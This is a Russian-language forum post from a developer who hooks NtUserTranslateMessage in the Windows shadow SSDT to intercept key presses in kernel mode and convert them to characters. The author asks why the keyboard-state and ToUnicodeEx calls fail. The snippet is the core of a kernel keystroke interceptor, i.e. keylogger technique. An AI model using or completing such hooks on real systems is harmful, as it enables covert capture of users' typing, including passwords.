Как правильно определить текукщую раскладку клавиатуры в R0

Уважаемые, подскажите пожалуйста что я делаю не так и как можно выйти из ситуации.

Написал обработчик перехвата TranslateMessage из шадоу таблицы

Код (Text):

1. BOOL MyNtUserTranslateMessage( LPMSG lpMsg, HKL dwhkl)
2. {
3.     BOOL result;
4.     CCHAR keys[260];
5.     WCHAR chr[10];
6.     ULONG res;
7.  
8.     result= g_OriginalNtUserTranslateMessage(lpMsg,dwhkl);
9.     memset(keys,0,sizeof(keys)*sizeof(CCHAR));
10.  
11.     if (lpMsg->message == WM_KEYDOWN)
12.     {
13.             res = g_NtUserGetKeyboardState((LPBYTE)keys);
14.                    res = g_NtUserToUnicodeEx( lpMsg->wParam,
15.                              lpMsg->lParam,
16.                             (LPBYTE)keys,
17.                             (LPWSTR)&chr,
18.                             10,0,dwhkl);
19.  
20.         DbgPrint("chr = %S, res = %x",chr,res);
21.  
22.         DbgPrint("lpMsg->wParam = %c (0x%x), HKL = %x, lpMsg->lParam =%x, HWND = 0x%x \n",
23.                   lpMsg->wParam,
24.                   lpMsg->wParam,
25.                   dwhkl,
26.                   lpMsg->lParam,
27.                   lpMsg->hwnd);
28.  
29.     }
30.     return result;
31. }

Хочу перевести полученные клавиши в соответствующую раскладку, которая является рабочей у потока, но что то видимо делаю не так...
NtUserGetKeyboardState возвращает 0 как результат и соответственно ничего в буфер не пишет, и g_NtUserToUnicodeEx тоже работать не хочет, почему... не могу понять. Адреса перехватов проверял, все верно. Подскажите, что я делаю не так, и как добиться чтоб эти функции работали. Может быть существует какой то другой метод перевода, подскажите.